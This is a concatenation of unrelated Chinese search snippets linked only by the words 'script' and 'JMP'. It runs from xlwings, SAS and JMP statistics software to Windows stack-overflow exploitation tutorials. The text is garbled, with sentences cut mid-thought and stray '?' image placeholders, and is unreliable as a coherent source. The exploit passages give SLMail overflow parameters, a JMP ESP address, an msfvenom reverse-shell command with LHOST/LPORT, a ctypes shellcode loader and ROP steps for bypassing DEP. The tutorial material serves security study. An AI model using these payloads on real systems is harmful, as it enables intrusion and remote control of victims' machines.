这次我们会介绍如何使用xlwings将Python和Excel两大数据工具进行集成,更便捷地处理日常工作。...这就是本文要讲到的主题,Python的第三方库-xlwings,它作为Python和Excel的交互工具,让你可以轻松地通过VBA来调用Python脚本,实现复杂的数据分析。...xlwings和插件都安装好后,这时候打开Excel,会发现工具栏出现一个xlwings的菜单框,代表xlwings插件安装成功,它起到一个桥梁的作用,为VBA调用Python脚本牵线搭桥。...三、玩转xlwings 要想在excel中调用python脚本,需要写VBA程序来实现,但对于不懂VBA的小伙伴来说就是个麻烦事。...但xlwings解决了这个问题,不需要你写VBA代码就能直接在excel中调用python脚本,并将结果输出到excel表中。
我们拿到的第一个版本的JMP是在20年以前,JMP有个很独特的地方,JMP有自己的编程语言,叫JMP Script Language(JSL)脚本语言。...如何辨识其中的区别模式?来确保能够准确地将两组看起来很相似的脚印中辨别出这是两只不同的犀牛。这需要找到一套简单的统计方法来建立模型。事实上,正常人眼中一样的脚印,在统计学中是有显著差异的。...Jewell:FIT都是用JMP的脚本语言开发出来的。现在还在持续开发,增加更多功能和特征,让它变成对于野外工作的人来说更加容易使用和辨识,而不需要懂太多统计学原理和技术。...Jewell:在动物保护中,JMP很慷慨(John Sall做出承诺,任何野生动物保护的组织都可以免费使用JMP),他不仅为我们,还为更多动物保护的组织和个人提供免费的JMP。...从处理速度上看,数据量很小的时候,几乎差不多。但是当数据量很大时,就会出现百倍甚至千倍的差异。R的开源特征使得其在统计有效性验证方面有问题,而软件工程中的稳定性和可靠性也比较有挑战。
而SAS需付费,且费用较高,一般互联网公司无法承担,更多的是在银行等传统金融机构中使用,不过这两年由于Python太火,原本使用SAS的也开始逐渐转向Python了。...我们仍然使用m2cgen,需要借助它间接转换成SAS。具体的方案就是先将Python模型转换为VBA代码,然后再将VBA代码更改为 SAS脚本,曲线救国。 如何使用m2cgen?...下面,演示一下如何将Python的XGBoost模型转成SAS代码。...m2cgen不支持SAS,但我们可以把VBA代码稍加改动,就能变成符合SAS标准的代码了。而这个改动也无需手动一个个改,写一段Python脚本即可实现VBA脚本转换为SAS脚本。...改动的地方不多,主要包括:删除在SAS环境中不能使用的代码,像上面结果中的Module xxx,Function yyy ,Dim var Z As Double,还有在语句结尾加上;,这些为的就是遵循
我从SQL开始学起,接着我学了Python和R,然后我学了许多Python和R中的工具库。之后我学了Html、使用VB脚本的GUI编程以及C#编程。后来我还学了Scikit learn。...最后,我在办公室与各种各样的统计学家讨论,他们每天的工作就是对数据进行分析并得出结论,在和他们交流的过程中我学到了JMP/JSL脚本和很多统计学知识。 下面是我学习数据科学的完整流程。...在这个过程中,我理解了我们为什么要收集数据,我们如何收集这些数据并存储它们,以及我们在存储之前如何对数据进行预处理。 学习如何使用这些编程语言高效地处理数据。...我从负责数据库管理的朋友那里学习他们是如何管理和操作数据库的。我学习了数据库中表的结构。 学习如何绘制相关性图表,以及如何计算任何投资操作的收益。这是数据科学中的各类知识开始交叉的地方。...5、脚本与规划:当我在专用计算机的各个文件夹中获取和转储数据时,我会使用多个专门设置在特定时间运行或自动运行的脚本。我有一个相当大的硬盘用来存储大量数据。
到目前为止,我们一直在使用Windows XP系统环境来学习如何攻击具有较少安全机制的操作系统。经过前面的几篇文章,我们是时候换一套新的系统环境啦,对于本教程,我们将使用Windows 7系统环境。...接下来我们再次在虚拟机中安装Immunity Debugger,Python和mona.py。详情请看第一篇文章。...但是,我们发现JMP ESP是执行了,所以说我们可以执行一些代码,但这条代码必须是现有的,就像我们之前可以运行的JMP ESP一样,它存在被允许执行的代码段中。这也正是ROP技术的关键所在。...然后我们需要找到一个可写位置地址,然后将值放入寄存器ECX中,作为参数lpflOldProtect的值 ? 为了等下调用调用PUSHAD,我们将一些值放入到EDI和ESI寄存器中 ?...Python: ? 五、漏洞利用开发实现 再写脚本之前,我们要注意一下,现在我们要覆盖的EIP地址只需要跳转过去马上回来就行了,所以我们直接找个RETN指令地址就行啦。 ?
阻止代码从数据页被执行;ASLR,随机内存地址加载执行程序和DLL,每次重启地址变化。...运行脚本之后,调试的进程显示如下,满足预先计算的结果,则可验证字符位置是正确的,可以看到,EIP寄存器的数据即是脚本中buffer中设置的4个B(ASCII的Hex值为42),而ESP寄存器存放的正是脚本中...修改EIP指向ESP: 在内存中寻找地址固定的系统模块; 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode; mona.py脚本识别内存模块,搜索“return...所有参数都收集完毕了,最后使用slmailsploit.py脚本来反弹shell,需要写入参数包括: achars = 'A'*2606 #JMP ESP address is 5F4A358F jmpesp...x5f' #NOP Sled nops = '\x90'*16 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.126 LPORT=53 -f python
Python 虽然 Python 是一门通用型的编程、编写脚本的语言,但它逐渐在数据科学家和机器学习工程师之间流行起来。...它的 Read-eval-print 回路(读取-求值-输出的回路,简称 REPL)提供了交互性的开发环境。...企业方案 这些语言之外,还有几个用于数据建模和和企业分析的商业化产品,它们能在具有更高可控性的数据处理环境中应用机器学习模型。...RapidMiner, IBM SPSS, SAS+JMP 和 Stata 都属于这类产品。它们旨在为数据分析提供可靠的端到端解决方案,并通常有可编程 API 以及可编写脚本的语法。...只要你有坚实的机器学习基础,使用新产品或者新平台就相当于学习怎么使用一个新工具。 对初学者的建议: 选择语言/库时一个很重要的考虑是如何平衡开发时间和执行时间。
栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址...至此我们还差一个关键的跳转步骤,上图中的424242我们需要填充为一个能够跳转到当前堆栈中的跳转指令地址,这类跳板指令可以使用jmp esp或call esp指令,因为我们的ShellCode在堆栈中存储着...,通过使用唯一字符串法,我们可以快速定位到当前缓冲区的实际大小,要使用Metasploit的工具需要先配置好环境变量,你可以先执行以下操作,然后再利用pattern_create.rb生成长度为3000...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...当该指令被调用,则自然DEP保护可以被关闭,在找到模块之前,必须判断哪些模块可以被使用,这里读者是否想到了LyScript插件中的扫描功能,如下代码将可以帮助读者以最快的速度验证当前进程中是否有我们所需模块
0x00:原理 大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可...那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究....过去了.也就是写成伪码 大概意思就是 lea eax, shellcode; jmp eax; 那么我们用 c 怎么表示呢?...0x01:Python实现 前面说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了. import ctypes #(kali生成payload...把生成的Payload放进上面的代码中 例子 ?
栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址...图片至此我们还差一个关键的跳转步骤,上图中的424242我们需要填充为一个能够跳转到当前堆栈中的跳转指令地址,这类跳板指令可以使用jmp esp或call esp指令,因为我们的ShellCode在堆栈中存储着...,通过使用唯一字符串法,我们可以快速定位到当前缓冲区的实际大小,要使用Metasploit的工具需要先配置好环境变量,你可以先执行以下操作,然后再利用pattern_create.rb生成长度为3000...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...,当该指令被调用,则自然DEP保护可以被关闭,在找到模块之前,必须判断哪些模块可以被使用,这里读者是否想到了LyScript插件中的扫描功能,如下代码将可以帮助读者以最快的速度验证当前进程中是否有我们所需模块
分析方法的实现通过过程调用完成。许多过程同时提供了多种算法和选项。 2. 使用简便,操作灵活 SAS以一个通用的数据(DATA)步产生数据集,尔后以不同的过程调用完成各种数据分析。...因而SAS将统计的科学,严谨和准确与便于使用者有机地结合起来,极大地方便了使用者。 3. 提供联机帮助功能 使用过程中按下功能键F1,可随时获得帮助信息,得到简明的操作指导。...高层语言 用Python语言编写程序的时候无需考虑诸如如何管理你的程序使用的内存一类的底层细节。 6....运行程序的时候,连接/转载器软件把你的程序从硬盘复制到内存中并且运行。而Python语言写的程序不需要编译成二进制代码,可以直接从源代码运行程序。...可嵌入性 可以把Python嵌入C/C++程序,从而向程序用户提供脚本功能。 11. 丰富的库 Python标准库确实很庞大。
世界上没有一个开发语言有绝对的好坏,只有是否适合你当前的环境。 很多码农工作的非常辛苦,每天加班。一般情况,团队中成长最快的不是工作最辛苦的那一部分人,而是经常在思考怎么样可以“偷懒”的人。...可以随时改变方式,做各种调用处理。这对降低学习成本,提高开发效率非常有效。 这是一个excel调用的例子,实际编写的时候,我们可以在交互式环境下一行行输入执行,然后实时看到excel的实时变化。...R提供了SAS/SPSS的很多功能。反而C/Java实现这些功能并不容易。可能我们要在C/Java的系统里考虑嵌入R或者python....脚本语言的选择 下面讲一下当年我为什么会选择python,供大家了解如何选择脚本。其他语言也有各自的优点。...扩展功能少 现在Node.js 解决了本地资源访问的障碍,异步调用对于日常使用还是有点复杂。
在TEVA,工程师通过使用JMP在QbD(质量源于设计)和产品质量保证上使用了大量的统计分析、DOE和数据建模等统计分析方法,加速产品研发和品质保证 ? 一....当前,我们在进行多条溶出曲线评定时,多是从环境(PH值)和蠕动强度两个人体消化道中最为关键的两个参数进行区分对比。...JMP数据分析软件家族,是全球数据分析领导者SAS集团旗下的高端数据分析方法集。...在TEVA,工程师通过使用JMP在QbD(质量源于设计)和产品质量保证上使用了大量的统计分析、DOE和数据建模等统计分析方法,加速产品研发和品质保证。...JMP将行业领先的 SAS® Analytics 功能与 JMP 的动态图形功能相结合,帮助研发人员快速对各种实验数据进行分析,对药物开发过程每个阶段(临床前、临床和上市后)安全性与疗效数据进行分析研究的效率和精确度
,脚本内容如下,Python 脚本执行后会对目标FTP服务进行发包测试。...首先打开X64dbg将FTP程序载入并运行,接着我们需要使用Netcat链接本机 nc 192.168.1.2 9999 并进入一个可交互的shell环境中,然后输入待发送的字符串不要回车。...,我们可以快速定位到当前缓冲区的实际大小,要使用Metasploit的工具需要先配置好环境变量,你可以先执行以下操作,然后再利用pattern_create.rb生成长度为3000字节的字串。.../pattern_create.rb -l 3000 将生成的字符串拷贝到我们的Python测试脚本中。...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp
使用该脚本并加上目标参数 观察,等到Debugger右上角窗口EIP指针为41414141(A的ASCII编码)时代表溢出成功 记下python脚本窗口处此时的字节数,本次试验为2900 bytes...仔细仔细再仔细地看,你会发现少了0D这个字节,说明/0d这个字节也是坏的,从脚本中去除。...我们知道,在一个程序运行的时候,程序本身首先会被写入到内存中,顺带着它需要的各种DLL以及Drive和Modules,所以我们可以寻找含有JMP ESP这个指令的各种模块并利用他们。...我们发现results里第一个地址不包含坏字节并且是可用的 我们就使用第一个! 跳转到对应的内存地址并核对,果然发现有我们梦寐以求的JMP ESP ? ? 现在开始修改溢出脚本!...buffer的A*2606是为了达到EIP点,使程序下一步操作跳转到slmc.dll代码中的一个jmp esp。 这样在esp地址下的我们的shellcode便可得到执行。
工具安装 由于该工具基于Python开发,因此我们首先要在本地设备上安装并配置好Python环境以及pip工具。...首先,广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/sashs/Ropper.git 使用PyPi安装Capstone: $ sudo...keystone-engine 接下来,运行工具安装脚本并执行Ropper即可: $ python setup.py install $ ropper 除此之外,我们也可以直接使用pip来安装Ropper...: $ pip install ropper 当然了,如果你不想安装的话,也可以直接执行Ropper脚本文件: $ ....search "mov [%], edx" --quality 1 0x000084b8: mov dword ptr [eax], edx; ret ;; ret ; (向右滑动,查看更多) 在脚本中使用
栈溢出指的是局部变量在使用过程中,由于代码编写考虑不当,造成了其大小超出了其本身的空间,覆盖掉了前栈帧EBP和返回地址等。由于返回地址不对,函数调用结束后跳转到了不可预期的地址,造成了程序崩溃。...shellcode存好了,返回地址也可控,如果将返回地址改写为shellcode地址就OK了,可偏偏栈的地址在不同环境中是不固定的。...(2)通过控制数据,在函数触发漏洞之后到返回之前的代码中触发异常。 由于GS选项是软件编译之时加入的,使得之前的版本无法添加此安全特性,尤其是在很多用户不喜欢更新软件的现实环境中。...本回合总结: (1)对于不支持JS等脚本的软件,在数据空间中寻找jmp esp地址,覆盖SEH链指向此地址。...shellcode还在堆栈中,如果可以从程序自身的代码去凑到执行VirtualProtect将shellcode所在内存属性添加上可执行权限就可以了。
此类加载项背后的想法是它们包含高性能函数,并且可以通过应用程序编程接口 (API) 从 Excel 工作表中调用。...image.png 图 6 – 从 XLL 文件中提取的恶意软件 .NET 恶意软件下载器。 使用 Excel-DNA 项目创建的 XLL 文件也可以使用项目提供的脚本自动解压缩。...该脚本将 XLL 文件的路径作为参数,然后提取、解压缩并将资源保存到文件夹中。 image.png 图 7 – Excel-DNA 提取脚本。...为了伪装应用程序的控制流,许多连续的jmp指令被执行。 image.png 图 8 - 自定义恶意 Excel 加载项中的 jmp 混淆。...使用解密的 DLL 名称,恶意软件首先通过进程环境块 (PEB) 遍历InLoadOrderModuleList正确解析基地址,然后使用它们找到它希望调用的 API 函数的地址。
IDA Free的主要特点 强大的反汇编引擎:支持多种处理器架构 交互式分析环境:允许用户参与分析过程 丰富的可视化视图:包括反汇编视图、函数视图、字符串视图等 基本的脚本支持:可以使用IDC脚本自动化分析任务...main函数的作用 程序入口点:程序执行的起点 参数处理:解析命令行参数 初始化:设置程序环境和资源 调用核心功能:协调调用其他函数 返回状态:向操作系统报告执行结果 4.2 在不同操作系统中定位main...Linux/Unix系统 在Linux/Unix系统中: 程序的真正入口点通常是_start 这个入口点初始化运行时环境,然后调用main函数 IDA通常会自动识别并标记main函数 4.3 使用IDA...无条件跳转指令 JMP:无条件跳转到指定地址 JMP label ; 跳转到标签label JMP EAX ; 跳转到EAX中存储的地址 条件跳转指令 条件跳转指令根据标志寄存器中的状态位决定是否跳转...CALL:调用函数 CALL function ; 调用名为function的函数 CALL [EAX] ; 调用EAX中存储的地址处的函数 RET:从函数返回 RET ;
列举其中的一些(本系列教程将聚焦于Python,讲解如何使用Python完成全链条的数据分析过程): 一、Python 官网:https://www.python.org/ 速查表:http://showmeai.tech.../BV1yg411c7Nw Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言,广泛应用于IT互联网各个领域,而近年的大数据与人工智能,机器学习/深度学习,整个生态最活跃支持度最高的编程语言也是...七、SAS 官网:https://www.sas.com/zh_cn/home.html SAS是用于数据处理和分析的编程语言和环境,该工具易于访问,并且可以分析来自不同来源的数据。...资料与代码下载 本教程系列的代码可以在ShowMeAI对应的github中下载,可本地python环境运行,能科学上网的宝宝也可以直接借助google colab一键运行与交互操作学习哦!...编程:从入门到精通系列教程 图解数据分析:从入门到精通系列教程 图解AI数学基础:从入门到精通系列教程 图解大数据技术:从入门到精通系列教程